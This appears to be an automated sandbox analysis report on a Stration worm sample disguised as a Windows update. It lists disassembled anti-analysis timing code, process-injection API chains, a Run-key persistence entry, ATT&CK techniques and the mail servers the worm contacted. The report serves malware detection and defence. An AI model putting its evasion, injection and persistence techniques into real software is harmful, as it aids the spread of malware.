Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1E0 second address: 000000000040C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [747F17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007FD884B146BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+08h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [747F17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007FD884C33C8Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [747F17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007FD884B146BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1E0 second address: 000000000040C1EE instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+04h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [747F17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007FD884C33C8Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+08h], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1EE second address: 000000000040C1FC instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+08h], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [747F17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007FD884B146BEh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+0Ch], eax 0x00000046 rdtsc
Source: C:\Windows\tserv.exe	RDTSC instruction interceptor: First address: 000000000040C1FC second address: 000000000040C20A instructions: 0x00000000 rdtsc 0x00000002 xor eax, edx 0x00000004 xor dword ptr [esp+0Ch], eax 0x00000008 call esi 0x0000000a push ecx 0x0000000b call dword ptr [747F17DCh] 0x00000011 mov edi, edi 0x00000013 push ebp 0x00000014 mov ebp, esp 0x00000016 push ecx 0x00000017 mov ecx, dword ptr [7FFE0004h] 0x0000001d mov dword ptr [ebp-04h], ecx 0x00000020 cmp ecx, 01000000h 0x00000026 jc 00007FD884C33C8Eh 0x0000002c mov eax, 7FFE0320h 0x00000031 mov eax, dword ptr [eax] 0x00000033 mul ecx 0x00000035 shrd eax, edx, 00000018h 0x00000039 shr edx, 18h 0x0000003c mov esp, ebp 0x0000003e pop ebp 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov dword ptr [esp+10h], eax 0x00000046 rdtsc

Source: C:\Windows\tserv.exe TID: 6760	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\tserv.exe TID: 1536	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\tserv.exe TID: 5484	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Windows\tserv.exe TID: 5484	Thread sleep time: -670000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-12761

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0040C1D0 rdtsc

1_2_0040C1D0

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_1-12695

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00429F44 VirtualQuery,GetSystemInfo,VirtualQuery,VirtualAlloc,VirtualProtect,

1_2_00429F44

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00406360 GetFileAttributesA,lstrcpyA,lstrcatA,lstrcatA,FindFirstFileA,GetLastError,lstrcmpA,lstrcmpA,lstrcmpA,lstrcpyA,lstrcatA,lstrcatA,lstrcpyA,lstrcatA,FindNextFileA,FindClose,

1_2_00406360

Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior
Source: C:\Windows\tserv.exe	Thread delayed: delay time: 300000			Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

API call chain: ExitProcess graph end node

graph_1-12762

Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\AppTiles\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\Assets\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\Deleted\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\	Jump to behavior
Source: C:\Windows\tserv.exe	File opened: c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.BingWeather_4.22.3254.0_neutral_split.scale-150_8wekyb3d8bbwe\microsoft.system.package.metadata\	Jump to behavior

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0041F660 LoadLibraryA,GetProcAddress,SetWindowsHookExA,

1_2_0041F660

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0041F830 GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,CloseHandle,FindCloseChangeNotification,CloseHandle,CloseHandle,CloseHandle,CloseHandle,SetEvent,Sleep,

1_2_0041F830

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0040C1D0 rdtsc

1_2_0040C1D0

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0042731A SetUnhandledExceptionFilter,		1_2_0042731A
Source: C:\Users\user\Desktop\Update-KB6734-x86.exe	Code function: 1_2_0042732E SetUnhandledExceptionFilter,		1_2_0042732E

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject threads in other processes

Show sources

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00404840 OpenProcess,lstrlenA,VirtualAllocEx,WriteProcessMemory,GetModuleHandleA,GetProcAddress,CreateRemoteThread,

1_2_00404840

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00423260 GetProcessHeap,HeapAlloc,HeapAlloc,HeapAlloc,HeapFree,RtlAllocateHeap,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapAlloc,HeapFree,HeapFree,HeapFree,HeapFree,RtlAllocateHeap,HeapFree,HeapFree,HeapFree,HeapFree,HeapFree,InitializeSecurityDescriptor,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetTokenInformation,GetTokenInformation,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,AllocateAndInitializeSid,GetLengthSid,AddAce,IsValidSecurityDescriptor,

1_2_00423260

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: GetLocaleInfoA,

1_2_0042C8B2

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00401830 ExpandEnvironmentStringsA,GetLocalTime,CreateFileA,CloseHandle,

1_2_00401830

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_0040BE00 lstrlenA,GetLocalTime,GetTimeZoneInformation,lstrlenA,

1_2_0040BE00

Source: C:\Users\user\Desktop\Update-KB6734-x86.exe

Code function: 1_2_00425D91 EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,_fast_error_exit,_fast_error_exit,GetCommandLineA,GetStartupInfoA,__wincmdln,GetModuleHandleA,

1_2_00425D91

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API3	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Masquerading12	OS Credential Dumping	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	DLL Side-Loading1	Process Injection11	Virtualization/Sandbox Evasion21	LSASS Memory	Security Software Discovery22	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Application Shimming1	Registry Run Keys / Startup Folder1	Access Token Manipulation1	Security Account Manager	Virtualization/Sandbox Evasion21	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	DLL Side-Loading1	Process Injection11	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Application Shimming1	Deobfuscate/Decode Files or Information1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	System Information Discovery114	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Update-KB6734-x86.exe	87%	Virustotal		Browse
Update-KB6734-x86.exe	93%	ReversingLabs	Win32.Worm.Stration
Update-KB6734-x86.exe	100%	Avira	WORM/Stration.C
Update-KB6734-x86.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\tserv.exe	100%	Avira	WORM/Stration.C
C:\Windows\tserv.exe	100%	Joe Sandbox ML
C:\Windows\tserv.exe	93%	ReversingLabs	Win32.Worm.Stration

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.0.Update-KB6734-x86.exe.400000.0.unpack	100%	Avira	WORM/Stration.C		Download File
1.2.Update-KB6734-x86.exe.400000.0.unpack	100%	Avira	WORM/Stration.C		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mimas.w3.org	128.30.52.79	true	false	high
alt3.gmail-smtp-in.l.google.com	142.250.157.27	true	false	high
www3.cedesunjerinkas.com	193.166.255.171	true	false	unknown
ppp.ro	176.223.123.126	true	false	unknown
mx01.oxsus-vadesecure.net	51.81.57.58	true	true	unknown
alt2.gmail-smtp-in.l.google.com	74.125.200.26	true	false	high
ma-01.vlada.hr	195.29.173.138	true	false	unknown
mx01.mail.com	74.208.5.22	true	false	high
alt2.aspmx.l.google.com	74.125.200.26	true	false	high
mail1.edvz.uni-linz.ac.at	140.78.3.68	true	true	unknown
alt4.gmail-smtp-in.l.google.com	173.194.202.26	true	false	high
mail.dva.hr	138.201.223.6	true	false	unknown
mta5.am0.yahoodns.net	67.195.228.106	true	false	unknown
aspmx3.googlemail.com	74.125.200.27	true	false	unknown
mta.openssl.org	194.97.150.230	true	false	high
pb-mx20.pobox.com	173.228.157.39	true	false	high
pb-mx23.pobox.com	173.228.157.42	true	false	high
mx.leonet.it	212.19.106.223	true	false	unknown
titan.w3.org	128.30.52.76	true	false	high
mail.vlada.hr	195.29.173.131	true	false	unknown
www4.cedesunjerinkas.com	193.166.255.171	true	false	unknown
pb-mx9.pobox.com	64.147.108.50	true	false	high
pb-mx10.pobox.com	64.147.108.51	true	false	high
ma-02.vlada.hr	195.29.173.139	true	false	unknown
mxa-00377f03.gslb.pphosted.com	205.220.176.130	true	false	high
mta7.am0.yahoodns.net	67.195.204.79	true	false	unknown
mx2.mailchannels.net	44.239.72.13	true	false	high
mail4.edvz.uni-linz.ac.at	140.78.3.82	true	true	unknown
smx01.a1.net	195.3.96.71	true	false	high
alt1.gmail-smtp-in.l.google.com	142.250.150.27	true	false	high
mx12.bigmir.net	193.239.71.112	true	false	high
mx00.mail.com	74.208.5.20	true	false	high
smtp.litwareinc.com	96.47.154.206	true	false	unknown
cluster10.us.messagelabs.com	67.219.247.199	true	false	high
pb-mx22.pobox.com	173.228.157.41	true	false	high
aspmx4.googlemail.com	142.250.157.26	true	false	unknown
ismtp.sitestar.everyone.net	216.200.145.235	true	false	high
mx1.bigmir.net	193.239.68.121	true	false	high
mxb-0028be01.gslb.pphosted.com	148.163.149.218	true	false	high
mxbck.leonet.it	185.175.124.58	true	false	unknown
mx03.oxsus-vadesecure.net	51.81.242.59	true	true	unknown
mx13.bigmir.net	193.239.71.113	true	false	high
pb-mx11.pobox.com	64.147.108.52	true	false	high
mx2.inbox.lv	194.152.32.73	true	false	high
antispam.hosting-zdarma.cz	130.193.9.47	true	false	unknown
mx.yandex.ru	77.88.21.249	true	false	high
mx3c50.megamailservers.eu	91.136.8.47	true	false	unknown
alt1.aspmx.l.google.com	142.250.150.26	true	false	high
oopp.pl	94.152.34.135	true	false	unknown
pb-mx14.pobox.com	64.147.108.55	true	false	high
mx04.oxsus-vadesecure.net	51.81.242.150	true	true	unknown
mxb-00377f01.gslb.pphosted.com	185.183.28.235	true	false	high
gmail-smtp-in.l.google.com	108.177.119.26	true	false	high
aspmx2.googlemail.com	142.250.150.26	true	false	unknown
mx-aol.mail.gm0.yahoodns.net	98.136.96.93	true	false	unknown
mxa-00377f01.gslb.pphosted.com	185.183.28.235	true	false	high
mx.cam.ac.uk	131.111.8.147	true	false	unknown
mx10.bigmir.net	213.186.119.6	true	false	high
mail3.edvz.uni-linz.ac.at	140.78.3.83	true	true	unknown
mta6.am0.yahoodns.net	67.195.228.111	true	false	unknown
mx02.oxsus-vadesecure.net	51.81.57.59	true	true	unknown
mxb-00377f03.gslb.pphosted.com	205.220.176.130	true	false	high
mx2c50.megamailservers.eu	91.136.8.46	true	false	unknown
mail.h-email.net	54.244.49.115	true	false	unknown
onlineconnections.com.au	192.254.190.168	true	false	unknown
mx3.bigmir.net	193.239.68.121	true	false	high
mx1.mailchannels.net	34.215.215.23	true	false	high
domini-cat.mail.protection.outlook.com	104.47.18.74	true	false	high
bart.w3.org	193.51.208.80	true	false	high
mail.fabrikam.com	131.107.55.31	true	false	unknown
gzip.org	85.187.148.2	true	false	unknown
aspmx5.googlemail.com	173.194.202.26	true	false	unknown
mx1.inbox.lv	194.152.32.72	true	false	high
mxa-0028be01.gslb.pphosted.com	148.163.152.255	true	false	high
mx.sourceforge.net	216.105.38.6	true	false	high
mx1c50.megamailservers.eu	91.136.8.41	true	false	unknown
mail.adatum.com	131.107.88.24	true	false	unknown
msn-com.olc.protection.outlook.com	104.47.56.33	true	false	high
pb-mx21.pobox.com	173.228.157.40	true	false	high
contoso-com.mail.protection.outlook.com	104.47.51.110	true	false	high
mail2.edvz.uni-linz.ac.at	140.78.3.69	true	true	unknown
hotmail-com.olc.protection.outlook.com	104.47.57.33	true	false	high
cluster10a.us.messagelabs.com	44.198.115.56	true	false	high
aspmx.l.google.com	108.177.96.27	true	false	high
www2.cedesunjerinkas.com	193.166.255.171	true	false	unknown
hotmail.com	unknown	unknown	false	high
fanfary.pq	unknown	unknown	true	unknown
dva.hr	unknown	unknown	true	unknown
yahoo.com	unknown	unknown	false	high
fb.cz	unknown	unknown	true	unknown
inbox.lv	unknown	unknown	false	high
tek-astore.cz	unknown	unknown	true	unknown
fajrant.qz	unknown	unknown	true	unknown
pobox.com	unknown	unknown	false	high
griepp.pl	unknown	unknown	true	unknown
xara.pl	unknown	unknown	true	unknown
fafa.pk	unknown	unknown	true	unknown
contoso.mx	unknown	unknown	true	unknown
contoso.es	unknown	unknown	true	unknown
aol.com	unknown	unknown	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
67.219.247.199	cluster10.us.messagelabs.com	United States	26282	SYMANTEC-US	false
44.239.72.13	mx2.mailchannels.net	United States	16509	AMAZON-02US	false
142.250.157.26	aspmx4.googlemail.com	United States	15169	GOOGLEUS	false
51.81.242.150	mx04.oxsus-vadesecure.net	United States	16276	OVHFR	true
104.47.57.33	hotmail-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.47.73.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
54.244.49.115	mail.h-email.net	United States	16509	AMAZON-02US	false
142.251.31.27	unknown	United States	15169	GOOGLEUS	false
185.175.124.58	mxbck.leonet.it	Italy	15691	LEONET-AS-IT	false
74.208.5.22	mx01.mail.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.250.150.26	alt1.aspmx.l.google.com	United States	15169	GOOGLEUS	false
74.208.5.20	mx00.mail.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	false
142.250.150.27	alt1.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
51.81.242.59	mx03.oxsus-vadesecure.net	United States	16276	OVHFR	true
185.183.28.235	mxb-00377f01.gslb.pphosted.com	Netherlands	52129	PROOFPOINT-ASN-EUGB	false
173.228.157.39	pb-mx20.pobox.com	United States	11403	NYINTERNETUS	false
77.88.21.249	mx.yandex.ru	Russian Federation	13238	YANDEXRU	false
67.195.228.111	mta6.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
35.82.253.27	unknown	United States	237	MERIT-AS-14US	false
98.136.96.77	unknown	United States	36646	YAHOO-NE1US	false
96.47.154.206	smtp.litwareinc.com	United States	23314	ORLANDOTELCOUS	false
173.194.202.27	unknown	United States	15169	GOOGLEUS	false
104.47.70.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
173.194.202.26	alt4.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
104.47.18.74	domini-cat.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
148.163.149.218	mxb-0028be01.gslb.pphosted.com	United States	26211	PROOFPOINT-ASN-US-WESTUS	false
131.107.55.31	mail.fabrikam.com	United States	3598	MICROSOFT-CORP-ASUS	false
98.136.96.76	unknown	United States	36646	YAHOO-NE1US	false
173.194.79.27	unknown	United States	15169	GOOGLEUS	false
104.47.56.33	msn-com.olc.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
195.3.96.71	smx01.a1.net	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
193.239.68.121	mx1.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
104.47.51.110	contoso-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.177.127.26	unknown	United States	15169	GOOGLEUS	false
94.152.34.135	oopp.pl	Poland	29522	KEIPL	false
205.220.176.130	mxa-00377f03.gslb.pphosted.com	United States	22843	PROOFPOINT-ASN-US-EASTUS	false
213.186.119.6	mx10.bigmir.net	Ukraine	6849	UKRTELNETUA	false
51.81.57.58	mx01.oxsus-vadesecure.net	United States	16276	OVHFR	true
51.81.57.59	mx02.oxsus-vadesecure.net	United States	16276	OVHFR	true
104.47.22.161	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
195.29.173.139	ma-02.vlada.hr	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
195.29.173.131	mail.vlada.hr	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
130.193.9.47	antispam.hosting-zdarma.cz	Czech Republic	198171	HOSTING90UPSTREAMconnectivityCZ	false
194.152.32.72	mx1.inbox.lv	Latvia	12993	DEAC-ASLV	false
67.195.204.79	mta7.am0.yahoodns.net	United States	26101	YAHOO-3US	false
194.152.32.73	mx2.inbox.lv	Latvia	12993	DEAC-ASLV	false
195.29.173.138	ma-01.vlada.hr	Croatia (LOCAL Name: Hrvatska)	5391	T-HTCroatianTelecomIncHR	false
194.152.32.74	unknown	Latvia	12993	DEAC-ASLV	true
194.152.32.75	unknown	Latvia	12993	DEAC-ASLV	true
138.201.223.6	mail.dva.hr	Germany	24940	HETZNER-ASDE	false
67.195.204.72	unknown	United States	26101	YAHOO-3US	false
67.195.204.73	unknown	United States	26101	YAHOO-3US	false
74.125.200.26	alt2.gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
193.239.71.113	mx13.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
67.195.228.106	mta5.am0.yahoodns.net	United States	36647	YAHOO-GQ1US	false
91.136.8.41	mx1c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
74.125.200.27	aspmx3.googlemail.com	United States	15169	GOOGLEUS	false
142.250.145.26	unknown	United States	15169	GOOGLEUS	false
98.136.96.93	mx-aol.mail.gm0.yahoodns.net	United States	36646	YAHOO-NE1US	false
104.47.57.110	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
91.136.8.47	mx3c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
108.177.96.27	aspmx.l.google.com	United States	15169	GOOGLEUS	false
91.136.8.46	mx2c50.megamailservers.eu	United Kingdom	9115	INFB-AS9115GB	false
193.239.71.112	mx12.bigmir.net	Ukraine	39468	BIGMIR-INTERNET-ASUA	false
104.47.51.33	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
108.177.119.26	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
194.97.150.230	mta.openssl.org	Germany	5539	SPACENETSpaceNETAGDE	false
193.166.255.171	www3.cedesunjerinkas.com	Finland	1741	FUNETASFI	false
176.223.123.126	ppp.ro	Romania	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
44.198.115.56	cluster10a.us.messagelabs.com	United States	14618	AMAZON-AESUS	false
104.47.56.110	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true
131.107.88.24	mail.adatum.com	United States	3598	MICROSOFT-CORP-ASUS	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	549348
Start date:	07.01.2022
Start time:	15:41:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Update-KB6734-x86.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@4/4@521/74
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 5.7% (good quality ratio 5.6%) Quality average: 92.2% Quality standard deviation: 18.5%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 17.171.2.72, 17.171.2.68, 17.171.2.60, 17.179.253.49, 17.179.253.48, 17.179.253.44, 17.179.253.43, 17.179.253.38, 17.179.253.34, 17.179.253.33 Excluded domains from analysis (whitelisted): rn-mailsvcp-ppex-lapp45.apple.com, client.wns.windows.com, client-office365-tas.msedge.net, ocos-office365-s2s.msedge.net, fs.microsoft.com, ma1-aaemail-dr-lapp03.apple.com, ctldl.windowsupdate.com, rn-mailsvcp-ppex-lapp24.apple.com, rn-mailsvcp-ppex-lapp44.apple.com, arc.msn.com, ris.api.iris.microsoft.com, apple.com, rn-mailsvcp-ppex-lapp35.apple.com, ma1-aaemail-dr-lapp01.apple.com, ma1-aaemail-dr-lapp02.apple.com, rn-mailsvcp-ppex-lapp15.apple.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, rn-mailsvcp-ppex-lapp14.apple.com, config.edge.skype.com, rn-mailsvcp-ppex-lapp34.apple.com Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:42:40	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run tserv C:\Windows\tserv.exe s
15:42:42	API Interceptor	307x Sleep call for process: tserv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
44.239.72.13	Update-KB78-x86.exe	Get hash	malicious	Browse
51.81.242.150	file.txt.exe	Get hash	malicious	Browse
	Update-KB250-x86.exe	Get hash	malicious	Browse
	Update-KB2984-x86.exe	Get hash	malicious	Browse
